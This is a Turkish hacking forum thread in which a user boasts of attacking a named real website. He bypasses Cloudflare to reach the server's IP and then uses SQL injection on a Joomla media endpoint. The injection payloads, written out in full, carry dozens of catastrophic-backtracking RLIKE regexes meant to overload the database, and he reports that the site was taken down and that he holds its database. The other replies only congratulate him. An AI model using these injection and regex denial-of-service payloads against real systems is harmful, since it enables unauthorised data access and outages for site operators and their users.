THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

pkkonline.com'a tek atıyoruz//sql injection ve regex dos içerir//Insider

'Insider - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2016
Nereden:
0.0.0.0/0
Mesajlar:
657
Konular:
65
Teşekkür (Etti):
262
Teşekkür (Aldı):
1203
Ticaret:
(0) %
23-09-2017 20:31
#1
pkkonline.com'a tek atıyoruz//sql injection ve regex dos içerir//Insider



her şeyden önce bu açığı kullanabilmek için cloudflare bypass edip gerçek iplerini bulmamız gerekiyor. hiç de zor değil.



zaten bu sitenin database'i elimde. linke giriyoruz.

http://46.166.160.204/tr/?option=com_media&view=images

içinde tek bir evil-regex geçen sorgumuzu çalıştıralım. bakalım kaç saniye sürecek?
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$") FROM 1 FOR 1))>51)||'
5,5 saniye sürdü.



şimdi aynı sorguyu iki kez yapan başka bir sorgu deneyelim. işlem süresinin uzaması lazım.
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$") FROM 1 FOR 1))>51)||'
12.37 saniye sürdü.



sorguyu uzatalım. uzatalım ki aynı sorguyu onlarca kez uygulayıp re-dosumuzu gerçekleştirelim.
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ad)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$") FROM 1 FOR 1))>51)||'
yukarıdaki sorguda 77 adet Regex araması var. yani ilk sorgumuzun 77 katı kadar geç cevap vermesini umuyorum. ilk sorgumuz 6 saniye civarında sürmüştü. o halde bu, 6*77 saniye sürecek.yani yaklaşık olarak 10 dakika.

bir kaç f5 yapmaktan zarar gelmez. yaklaşık 10-15 kez f5 yaptım. şimdi siteye tekrar bakalım. açılıyor mu?



gördüğünüz gibi sadece header kısmı yüklendi, sql sunucusuna çok yük bindiği için sitenin aslı yüklenemedi.

4238 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2016
Nereden:
Çukurova
Mesajlar:
1.552
Konular:
299
Teşekkür (Etti):
288
Teşekkür (Aldı):
170
Ticaret:
(0) %
23-09-2017 20:32
#2
Insider Destan Yazdı!
Insider Durdurulamıyor!
---------------------
I’m a black gangster
Virtual Gelin - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2017
Nereden:
İstanbul
Yaş:
20
Mesajlar:
1.354
Konular:
131
Teşekkür (Etti):
108
Teşekkür (Aldı):
247
Ticaret:
(0) %
23-09-2017 20:32
#3
Bir Rakibi Katlettin
CodenameTurk - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2016
Nereden:
Ankara
Mesajlar:
671
Konular:
134
Teşekkür (Etti):
337
Teşekkür (Aldı):
95
Ticaret:
(0) %
23-09-2017 20:34
#4
Hayaller *********, Hevaller Kabristan
SeNZeRo - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
09/2016
Mesajlar:
5.050
Konular:
470
Teşekkür (Etti):
96
Teşekkür (Aldı):
1630
Ticaret:
(0) %
23-09-2017 20:34
#5
Eline sağlık.
ᴍᴀɢɴɪғɪᴄᴇɴᴛ - ait Kullanıcı Resmi (Avatar)
Basın & Medya Ekibi Lider Yrd.
Üyelik tarihi:
11/2015
Nereden:
Mesajlar:
3.490
Konular:
299
Teşekkür (Etti):
1386
Teşekkür (Aldı):
1673
Ticaret:
(0) %
23-09-2017 20:36
#6
Ellerine sağlık
Shigi - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2016
Mesajlar:
1.545
Konular:
33
Teşekkür (Etti):
49
Teşekkür (Aldı):
152
Ticaret:
(0) %
23-09-2017 20:39
#7
Eline Sağlık...
--------------------- ┈┈┈╲┈┈┈┈╱
┈┈┈╱▔▔▔▔╲
┈┈┃┈▇┈┈▇┈┃
╭╮┣━━━━━━┫╭╮
┃┃┃┈┈┈┈┈┈┃┃┃
╰╯┃┈┈┈┈┈┈┃╰╯
┈┈╰┓┏━━┓┏╯
┈┈┈╰╯┈┈╰╯
themagicword - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2014
Mesajlar:
2.067
Konular:
185
Teşekkür (Etti):
114
Teşekkür (Aldı):
545
Ticaret:
(0) %
23-09-2017 20:43
#8
Alıntı:
Virtual Gelin´isimli üyeden Alıntı Mesajı göster
Bir Rakibi Katlettin
Alıntı:
4238´isimli üyeden Alıntı Mesajı göster
Insider Destan Yazdı!
Insider Durdurulamıyor!
Alemsiniz arkadaşlar
Elinize sağlık hocam.
---------------------

© 2014 THΣMΛGıCШOЯD
AtillaReyiz - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2017
Nereden:
localhost
Mesajlar:
1.236
Konular:
157
Teşekkür (Etti):
55
Teşekkür (Aldı):
167
Ticaret:
(0) %
23-09-2017 20:45
#9
İlk kan döküldü! :S
SerhatTHT - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2015
Nereden:
Localhost
Mesajlar:
1.316
Konular:
97
Teşekkür (Etti):
2
Teşekkür (Aldı):
722
Ticaret:
(0) %
23-09-2017 20:45
#10
Eline Sağlık Hocam
--------------------- ANDIMIZ

Türküm, doğruyum, çalışkanım,

İlkem; küçüklerimi korumak, büyüklerimi saymak, yurdumu, milletimi özümden çok sevmektir.

Ülküm; yükselmek, ileri gitmektir.

Ey Büyük Atatürk!

Açtığın yolda, gösterdiğin hedefe durmadan yürüyeceğime ant içerim.

Varlığım Türk varlığına armağan olsun.

Ne mutlu Türküm diyene! ☪



Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler